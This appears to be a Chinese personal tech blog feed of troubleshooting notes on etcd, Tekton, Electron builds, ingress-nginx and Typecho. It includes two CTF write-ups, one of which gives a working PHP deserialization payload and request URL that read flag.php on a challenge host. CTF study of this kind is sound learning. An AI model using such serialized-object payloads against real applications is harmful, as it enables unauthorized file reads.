BoyChai's Blog - 问题解决 https://blog.boychai.xyz/index.php/category/%E9%97%AE%E9%A2%98%E8%A7%A3%E5%86%B3/ [ETCD]依赖报错 https://blog.boychai.xyz/index.php/archives/76/ 2024-07-13T16:04:00+00:00 报错1在go环境安装etcd时执行下面操作go get go.etcd.io/etcd/client/v3 go mod tidy在tidy的过程中出现下面错误go: etcd-client/etcd imports go.etcd.io/etcd/clientv3 tested by go.etcd.io/etcd/clientv3.test imports github.com/coreos/etcd/auth imports github.com/coreos/etcd/mvcc/backend imports github.com/coreos/bbolt: github.com/coreos/bbolt@v1.3.10: parsing go.mod: module declares its path as: go.etcd.io/bbolt but was required as: github.com/coreos/bbolt参考ISSUE,应该是这个库本来在github后来迁移到go.etcd.io了,解决办法是在go.mod后面追加replace github.com/coreos/bbolt => go.etcd.io/bbolt v1.3.5报错2解决bbolt库的问题之后再次tidy出现下面这个报错,go: etcd-client/etcd imports go.etcd.io/etcd/clientv3 tested by go.etcd.io/etcd/clientv3.test imports github.com/coreos/etcd/integration imports github.com/coreos/etcd/proxy/grpcproxy imports google.golang.org/grpc/naming: module google.golang.org/grpc@latest found (v1.65.0), but does not contain package google.golang.org/grpc/naming参考ISSUE,问题是因为这些库依赖于google.golang.org/grpc/naming这个包但是他这个grcp版本v1.65.0里面移除了这个包需要一个支持naming包的grpc版本,解决办法是把grpc版本换成v1.26.0replace google.golang.org/grpc => google.golang.org/grpc v1.26.0 [Tekton] 报错: more than one PersistentVolumeClaim is bound https://blog.boychai.xyz/index.php/archives/70/ 2024-04-24T11:45:00+00:00 复现task-nodejs.yamlapiVersion: tekton.dev/v1beta1 kind: Task metadata: name: build-node-project spec: workspaces: - name: cache mountPath: /root/.npm - name: source - name: output params: - name: imgTag type: string - name: run type: string - name: dir type: string steps: - name: build workingDir: "$(workspaces.source.path)/$(params.dir)" image: "node:$(params.imgTag)" script: | rm -rf package-lock.json npm install --registry=https://registry.npmmirror.com/ npm run $(params.run) cp -r dist/* $(workspaces.output.path)/taskrun.yamlapiVersion: tekton.dev/v1 kind: TaskRun metadata: generateName: build-node-project-run- generation: 1 namespace: cicd-services spec: params: - name: dir value: frontend - name: imgTag value: 21.6.2 - name: run value: build serviceAccountName: default taskRef: kind: Task name: build-node-project workspaces: - name: cache persistentVolumeClaim: claimName: node-cache-pvc - name: source persistentVolumeClaim: claimName: test-tekton-vue-pvc - name: output persistentVolumeClaim: claimName: test-tekton-vue-output-pvc运行之后会出现下面报错TaskRunValidationFailed [User error] more than one PersistentVolumeClaim is bound原因报错翻译TaskRunValidationFailed[用户错误]绑定了多个PersistentVolumeClaim,很明确他允许绑定多个pvc,这个蛮离谱的,cicd的过程中用到多个存储应该是很正常的事,tekton却默认不支持绑定多个pvc。解决修改tekton的配置把参数disable-affinity-assistant修改为true,即可kubectl -n tekton-pipelines edit cm feature-flags这个参数的作用如下设置为 true 将阻止 Tekton 为共享了 workspace 的每个 TaskRun 创建 Affinity Assistant Pod。 这样就可以保证这些 pod 运行在同一个节点上,避免了跨节点访问 pvc 的问题。还有就是这个功能在v0.60会被弃用,未来估计不会因为这个问题报这个错了。参考ISSUE: https://github.com/tektoncd/pipeline/issues/6543TektonDocs: https://github.com/tektoncd/pipeline/blob/main/docs/affinityassistants.md配置参考: https://www.soulchild.cn/post/tekton-operator%E9%85%8D%E7%BD%AE%E5%8F%82%E6%95%B0%E8%AF%A6%E8%A7%A3/ [排错笔记]Vue3+Electron构建报错 https://blog.boychai.xyz/index.php/archives/68/ 2024-02-19T15:25:00+00:00 使用环境"Node":"21.6.2" "@vue/cli-service": "~5.0.0", "electron": "^13.0.0",问题一报错background.js from Terser Error: error:0308010C:digital envelope routines::unsupported at new Hash (node:internal/crypto/hash:68:19) at Object.createHash (node:crypto:138:10) at E:\前端\assist\node_modules\vue-cli-plugin-electron-builder\node_modules\webpack\node_modules\terser-webpack-plugin\dist\index.js:217:37 at Array.forEach (<anonymous>) at TerserPlugin.optimizeFn (E:\前端\assist\node_modules\vue-cli-plugin-electron-builder\node_modules\webpack\node_modules\terser-webpack-plugin\dist\index.js:160:259) at _next0 (eval at create (E:\前端\assist\node_modules\vue-cli-plugin-electron-builder\node_modules\tapable\lib\HookCodeFactory.js:33:10), <anonymous>:8:1) at eval (eval at create (E:\前端\assist\node_modules\vue-cli-plugin-electron-builder\node_modules\tapable\lib\HookCodeFactory.js:33:10), <anonymous>:23:1) at processTicksAndRejections (node:internal/process/task_queues:95:5)原因用了高版本的node.js解决给NODE_OPTIONS添加环境变量--openssl-legacy-provider,低版本的不需要,默认忽略ssl验证set NODE_OPTIONS=--openssl-legacy-provider问题二报错Error output: !include: could not find: "E:\前端\assist\node_modules\app-builder-lib\templates\nsis\include\StdUtils.nsh" Error in script "<stdin>" on line 1 -- aborting creation process at ChildProcess.<anonymous> (E:\前端\assist\node_modules\builder-util\src\util.ts:250:14) at Object.onceWrapper (node:events:634:26) at ChildProcess.emit (node:events:519:28) at ChildProcess.cp.emit (E:\前端\assist\node_modules\builder-util\node_modules\cross-spawn\lib\enoent.js:34:29) at maybeClose (node:internal/child_process:1105:16) at Process.ChildProcess._handle.onexit (node:internal/child_process:305:5) { exitCode: 1, alreadyLogged: false, code: 'ERR_ELECTRON_BUILDER_CANNOT_EXECUTE' }原因路径有中文路径解决切换项目目录给copy到个全英路径的位置问题三报错打开页面全白原因路由模式用的history解决路由模式切换成hash模式问题四报错 <router-view>标签不生效原因不清楚为什么会这样 反正我这个版本打包后 electron不会进入”/“路径下 但是在本地访问的时候会解决在App.vue中直接push到/import { useRouter } from "vue-router"; const router = useRouter(); router.push(`/`);要注意的是router.back();路由跳转我这边也不生效了,需要都替换成push('/')。问题五报错 • cannot get, wait error=Get "https://service.electron.build/find-build-agent?no-cache=1it6rqj": dial tcp 51.15.76.176:443: connectex: A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. attempt=0 waitTime=2 • cannot get, wait error=Get "https://service.electron.build/find-build-agent?no-cache=1it6rqj": dial tcp 51.15.76.176:443: connectex: A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. attempt=1 waitTime=4 • cannot get, wait error=Get "https://service.electron.build/find-build-agent?no-cache=1it6rqj": dial tcp 51.15.76.176:443: connectex: A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. attempt=2 waitTime=6 ⨯ Get "https://service.electron.build/find-build-agent?no-cache=1it6rqj": dial tcp 51.15.76.176:443: connectex: A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.win跨平台构建linux从service.electron.build下载资源失败,换代理也没用原因这个站点service.electron.build似乎在2020年就关闭,一直也没人来修这个玩意解决换linux主机构建或者采用docker的容器进行构建ISSUES:https://github.com/electron-userland/electron-build-service/issues/9 [代码审计]网鼎杯_2020_青龙组_AreUSerialz https://blog.boychai.xyz/index.php/archives/67/ 2023-10-16T02:16:00+00:00 题目buuoj-网鼎杯_2020_青龙组_AreUSerialz源码<?php include("flag.php"); highlight_file(__FILE__); class FileHandler { protected $op; protected $filename; protected $content; function __construct() { $op = "1"; $filename = "/tmp/tmpfile"; $content = "Hello World!"; $this->process(); } public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } } private function write() { if(isset($this->filename) && isset($this->content)) { if(strlen((string)$this->content) > 100) { $this->output("Too long!"); die(); } $res = file_put_contents($this->filename, $this->content); if($res) $this->output("Successful!"); else $this->output("Failed!"); } else { $this->output("Failed!"); } } private function read() { $res = ""; if(isset($this->filename)) { $res = file_get_contents($this->filename); } return $res; } private function output($s) { echo "[Result]: <br>"; echo $s; } function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); } } function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true; } if(isset($_GET{'str'})) { $str = (string)$_GET['str']; if(is_valid($str)) { $obj = unserialize($str); } }分析一看这个题目就是一道反序列的题目,上面定义了一个FileHandler类,之后定义了一个is_valid方法,这个方法的目的是过滤字符串,ord函数是转换ASCII码,32-125区间基本上就是所有字母数字和符号了,之后最后面这个是get获取一个str的值,之后检测是否是字符串,之后把字符串进行序列化。接下来详细看看FileHandler类: class FileHandler { protected $op; protected $filename; protected $content; function __construct() { $op = "1"; $filename = "/tmp/tmpfile"; $content = "Hello World!"; $this->process(); } public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } } private function write() { if(isset($this->filename) && isset($this->content)) { if(strlen((string)$this->content) > 100) { $this->output("Too long!"); die(); } $res = file_put_contents($this->filename, $this->content); if($res) $this->output("Successful!"); else $this->output("Failed!"); } else { $this->output("Failed!"); } } private function read() { $res = ""; if(isset($this->filename)) { $res = file_get_contents($this->filename); } return $res; } private function output($s) { echo "[Result]: <br>"; echo $s; } function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); } }分析了一下代码,output、read、write方法都需要通过process方法来触发,output代码如下 private function output($s) { echo "[Result]: <br>"; echo $s; }很简单没啥好说的,就是输出传入的内容。read方法代码如下, private function read() { $res = ""; if(isset($this->filename)) { $res = file_get_contents($this->filename); } return $res; }是去调用file_get_contents方法来读取filename变量里的文件,之后返回读取的内容。再看看write方法 private function write() { if(isset($this->filename) && isset($this->content)) { if(strlen((string)$this->content) > 100) { $this->output("Too long!"); die(); } $res = file_put_contents($this->filename, $this->content); if($res) $this->output("Successful!"); else $this->output("Failed!"); } else { $this->output("Failed!"); } }显示content不能大于100的长度,之后将content的内容写入filename,写入之后输出Successful!否则都是Failed!,再看看process方法 public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } }如果op=1则会进行写内容,如果等于2回去执行read()方法之后输出读取的内容,否则就输出"Bad Hacker!"。分析完基本的函数之后可以知道三个变量的作用 protected $op; protected $filename; protected $content;op是用来定义操作模式的,1是写2是读,filename是文件名称文件位置,content是写入时的内容。再看看两个魔法函数__construct()是构造函数__destruct()销毁函数,销毁的时候会触发。构造函数在这里没用主要看这个销毁函数,代码如下 function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); }也没啥东西,这里有个误导,就是里面的那个判断,他这个判断是三个等号的,会先判断类型,他这里判断的是字符串的2,之后content传入什么都无所谓了,剩下的就会交给process处理。解题分析完代码思路就清晰了,我们需要反序列化出一个FileHandler,内容op需要等于2,filename需要等于flag.php即可拿到falg。解题方式如下<?php class FileHandler { public $op = 2; public $filename = "flag.php"; public $content = "xd"; } $a = new FileHandler(); $flag= serialize($a); echo $flag; /// output O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:2:"xd";}之后请求http://7952a287-fef7-4773-9245-e58b63cba8f5.node4.buuoj.cn:81/?str=O:11:%22FileHandler%22:3:{s:2:%22op%22;i:2;s:8:%22filename%22;s:8:%22flag.php%22;s:7:%22content%22;s:2:%22xd%22;}网页显示返回为空直接查看源代码拿到flag?php $flag='flag{a0ad20b0-919b-479a-b2e8-78afe8be30cc};补充为什么不使用protected来序列化?PHP7.1以上版本对属性类型不敏感,public属性序列化不会出现不可见字符,可以用public属性来绕过private属性序列化的时候会引入两个\x00,注意这两个\x00就是ascii码为0的字符。这个字符显示和输出可能看不到,甚至导致截断,但是url编码后就可以看得很清楚了。同理,protected属性会引入\x00*\x00。此时,为了更加方便进行反序列化Payload的传输与显示,我们可以在序列化内容中用大写S表示字符串,此时这个字符串就支持将后面的字符串用16进制表示。 作者:很菜的wl https://www.bilibili.com/read/cv18129820/ 出处:bilibili [代码审计]攻防世界-simple_js https://blog.boychai.xyz/index.php/archives/65/ 2023-10-08T01:26:00+00:00 题目叫做simple_js,题目描述为小宁发现了一个网页,但却一直输不对密码。(Flag格式为 Cyberpeace{xxxxxxxxx} )打开网页之后是一个输入密码的框,自己随便输入点内容页面显示FAUX PASSWORD HAHA,自己肯定时没密码的,直接看源代码,核心代码如下function dechiffre(pass_enc){ var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65"; var tab = pass_enc.split(','); var tab2 = pass.split(',');var i,j,k,l=0,m,n,o,p = "";i = 0;j = tab.length; k = j + (l) + (n=0); n = tab2.length; for(i = (o=0); i < (k = j = n); i++ ){o = tab[i-l];p += String.fromCharCode((o = tab2[i])); if(i == 5)break;} for(i = (o=0); i < (k = j = n); i++ ){ o = tab[i-l]; if(i > 5 && i < k-1) p += String.fromCharCode((o = tab2[i])); } p += String.fromCharCode(tab2[17]); pass = p;return pass; } String["fromCharCode"](dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30")); h = window.prompt('Enter password'); alert( dechiffre(h) );上面定义了一个dechiffre(pass_enc)的函数,String["fromCharCode"](dechifre("xxx"))这个是把ASCII内容转换成字符串。剩下的就是打开页面之后都会出现的内容,参考意义不大,这里直接分析上面的这个函数函数里面先定义了一个pass,内容如下70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65大概率就是ASCII码,之后又定义了一个tab,内容如下var tab = pass_enc.split(',');pass_enc是传入的值,通过split(',')进行切割,现在tab是一个数组,之后定义了一个tab2,内容如下var tab2 = pass.split(',');对pass进行分割现在tab2也是个数组,之后定义了其他的一些变量,如下var i,j,k,l=0,m,n,o,p = "";i = 0;j = tab.length;k = j + (l) + (n=0);n = tab2.length;这里真是懵,最开始看的时候以为i,j,k,l都是0,一想不对。。。最开始ijkmno都应该是undefined之后i又被赋值了0,j被赋值了tab变量的长度,最后就是k,m,o是undefined之后i=0,l=0,p="",j=tab.length,k=tab.length,n=tab2.length,赋完值之后进行了一个for循环,代码如下for(i = (o=0); i < (k = j = n); i++ ){ o = tab[i-l]; p += String.fromCharCode((o = tab2[i])); if(i == 5)break; } // 精简过后代码如下 for(i=0;i<tab2.length;i++){ // o=tab[i]; p += String.fromCharCode(tab2[i]); if(i==5)break; }p += String.fromCharCode(tab2[i]);这段主要是这个代码,之后又经过了一个for循环,代码如下for(i = (o=0); i < (k = j = n); i++ ){ o = tab[i-l]; if(i > 5 && i < k-1) p += String.fromCharCode((o = tab2[i])); } // 精简过后代码如下 for(i=0;i<tab2.length;i++){ // o = tab[i] if (i>5&&i<(tab.length-1))p + = String.fromCharCode(tab2[i]); }p += String.fromCharCode(tab2[i]);这段主要是这个代码,和上段基本一样,方法最后返回下面内容 p += String.fromCharCode(tab2[17]); pass = p;return pass;他把tab2的第17个值转换成了字符串,并返回了p,这代码这是在闹着玩,弄到底也没处理传入的值,我服了😅,这代码的主要的作用就是把上面的ASCII转换成字符,直接转换pass变量发现内容为FAUX PASSWORD HAHA,看样子知道题目的答案就是把传入函数的那传Hex编码转换成字符串\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30转换之后变成这样55,56,54,79,115,69,114,116,107,49,50转换成字符串变成这样786OsErtk12这道题目的答案即Cyberpeace{786OsErtk12} [资源]容器镜像代理站、加速站收集 https://blog.boychai.xyz/index.php/archives/63/ 2023-08-30T07:25:40+00:00 [排错笔记]Ingress-Nginx传递用户真实ip问题 https://blog.boychai.xyz/index.php/archives/62/ 2023-08-25T13:53:00+00:00 引入问题我的K8s环境是宿主机的hyper-v虚拟出来的,如果要映射到外面则还需要再我的宿主机上面再做一层反代,我采用的是nginx,当ingress整好之后,我从我从我腾讯云上复制了一段nginx配置放到了我的宿主机,主要配置如下:location /test/ { proxy_pass http://kubernetes.boychai.xyz/test/; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header REMOTE-HOST $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; }为了防止传入的ip是代理主机的ip我这里设置了Host、X-Real-IP、REMOTE-HOST、X-Forwarded-For。经过测试之后发现使用宿主机配置的代理访问时返回404,在宿主机上直接却没问题。访问问题日志我去查看了宿主机的nginx日志、ingress-nginx-controller日志、应用程序的日志,发现除了宿主机的nginx均没有日志记录,宿主机日志信息如下111.180.204.54 - - [25/Aug/2023:22:12:21 +0800] "GET /test/ HTTP/1.1" 404 548 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36"除了这一条之外其他的日志均无404。解决看到日志之后有点懵,因为我的宿主机是可以直接访问ingress暴露出来的服务的,而且没有报错正常访问,我是用反代之后就报错404,我最开始以为这个404就是我宿主机报的,但是宿主机的404默认页面会返回nginx的版本,如下图而我反代返回的404页面则是这样的一想就是我ingress返回的页面,但是我去查看ingress-nginx-controller的日志并无404的报错,日志查看命令如下,访问时并无产生记录[root@kubernetes ~]# kubectl -n ingress-nginx logs -f ingress-nginx-controller-kc5np我这里去尝试修改宿主机的反代配置,配置如下location /test/ { proxy_pass http://kubernetes.boychai.xyz/test/; }发现这样是可以正常访问程序的,这就奇怪了,难不成还能是因为我设置了这几个header的问题?我挨个注释这些header的配置发现问题出在下面这段配置proxy_set_header Host $host;具体原因也没搞清楚但是取消使用这条配置就好了...原因在Kubernetes的Ingress中,Host 头部用于根据不同的域名(或主机名)将请求路由到不同的服务。每个Ingress规则可以基于请求的 Host 头部将流量路由到不同的后端服务。我宿主机代理的域名和Ingress设置的域名不同,所以导致了这个问题,我外部代理的域名是tools.boychai.xyz而我k8s设置Ingress的域名则是kubernetes.boychai.xyz,当我在宿主机的代理设置了proxy_set_header Host $host;这段配置之后,请求发到Ingress之后,Ingress拿到的路由请求域名则是tools.boychai.xyz,而我又没有设置这个资源则就返回了404。IP传递问题日志能够访问之后发现最终的应用拿不到真是访问的ip,这里通过nginx直接返回X-Forwarded-For头信息来查看问题出在什么位置,宿主机Nginx配置如下location /aaa { default_type text/html; proxy_set_header X-Real-IP $remote_addr; proxy_set_header REMOTE-HOST $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; return 200 "proxy_add_x_forwarded_for:$proxy_add_x_forwarded_for"; } location /test/ { # ingress暴露的地址`http://kubernetes.boychai.xyz/test/` proxy_pass http://kubernetes.boychai.xyz/test/; proxy_set_header X-Real-IP $remote_addr; proxy_set_header REMOTE-HOST $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; }后端Nginx配置如下location / { default_type text/html; return 200 "proxy_add_x_forwarded_for:$proxy_add_x_forwarded_for"; }这样访问反代的/aaa就是访问反代主机的ip,访问反代的/test就会返回访问nginx的后端访问的ip,访问结果如下访问/aaa返回proxy_add_x_forwarded_for:111.180.204.54访问/test返回proxy_add_x_forwarded_for:192.16.1.1, 192.16.1.2解决查看访问返回的信息发现直接访问代理的ip是没问题的,那就是Ingress的锅了,这里的1.1和1.2依次是反代的ip和k8s主机的ip,到ingress这层没有把x_forwarded_for头加进来,这里我去官方翻了翻文档发现了三条和x_forwarded_for有关系的配置,如下data: ... compute-full-forwarded-for: "true" # 这一条可以不加也需要知道 # forwarded-for-header: "X-Forwarded-For" use-forwarded-headers: "true" 给ingress的cm加上这两条配置即可解决问题,最终/test返回的内容如下proxy_add_x_forwarded_for:111.180.204.54, 192.16.1.1, 192.16.1.2原因Ingress默认是没有配置传递真实IP功能的,需要配置,这三条配置和官网文档如下:use-forwarded-headers文档位置: https://kubernetes.github.io/ingress-nginx/user-guide/nginx-configuration/configmap/#use-forwarded-headers如果为true,则ingress-nginx会将传入的x-forward-*传递到上游,如果是Ingress上层还有一层ingress则需要配置这一条。如果他直接暴露在公网中或者它基于L3的网络负载后门则不需要管,因为它默认就是false。forwarded-for-header文档位置: https://kubernetes.github.io/ingress-nginx/user-guide/nginx-configuration/configmap/#forwarded-for-header这个用来设置客户端来源的真实IP,默认就是X-Forwarded-For。这里不需要额外配置。compute-full-forwarded-for文档位置: https://kubernetes.github.io/ingress-nginx/user-guide/nginx-configuration/configmap/#compute-full-forwarded-for如果开启了use-forwarded-headers的话,会发现还是没能获取到客户端的真实IP,原因是当前X-Forwaded-Fox变量是从remote_addr获取的,每次都是拿上一层的代理ip,这段配置的作用是将客户端用户访问所经过的代理ip都追加到X-Forwaded-Fox. [排错笔记]TYPECHO折腾日记 https://blog.boychai.xyz/index.php/archives/18/ 2022-06-19T07:07:00+00:00 数据库迁移起因本站用的服务器是腾讯云的轻量应用服务器,规格是2核4G8M的,前些日子开了一个游戏服务器和朋友联机,发现这个内存跑到3000左右的时候就会变的比较卡,到3500左右就会直接死机,当时就想着给服务器优化一下环境当时我服务器运行了typecho、harbor、gogs、Jenkins、游戏服务器、还有一些我自己写的后端程序,都在docker上运行,其中typecho、gogs的数据库都是运行单独的mysql5.7,端口不往公网暴露,然后还有一个mysql8.0对外暴露给我自己用,一共是三个,当时就寻思把gogs和typecho的迁移到8.0里面第一次迁移当开始迁移的时候我是直接使用DataGrip把老的数据库表拖拽到新数据表里面,修改好网站的数据地址之后基本没有任何问题,之后就没怎么在意。第二次迁移当我想要发布一次文章的时候出现了报错。找了好久的问题也没找到,当时就没想过是数据库的问题,重新部署了很多遍的typecho,一直是没有找到问题,一直到我打算重新部署一个数据库的时候我发现迁移之后的数据库他的主键自增索引什么的全都没有了,于是就开始第二次迁移。第二次我是使用mysqldump来进行导出,命令如下mysqldump --defaults-extra-file=/etc/mysql/my.cnf Blog > blog.sql然后用DataGrip导入的,导入之后数据库的表结构都回来了内容也都有但是前端对接好之后又出现了问题handsome的主题不能恢复备份,emoji表情全部变成问号"?"。第三次迁移emoji加载不出来无非就是编码的问题,typecho之前是不支持emoji的,之前我做过数据库字符集的修改,第三次导出的时候还是用mysqldump的方式导出但是命令改成了这样,命令如下mysqldump --defaults-extra-file=/etc/mysql/my.cnf --default-character-set=utf8mb4 Blog > blog.sqlmysqldump默认导出的字符集为utf8,emoji的字符集需要utf8mb4,使用DataGrip导入之后就没问题了,emoji显示了,handsome主题备份也能恢复了。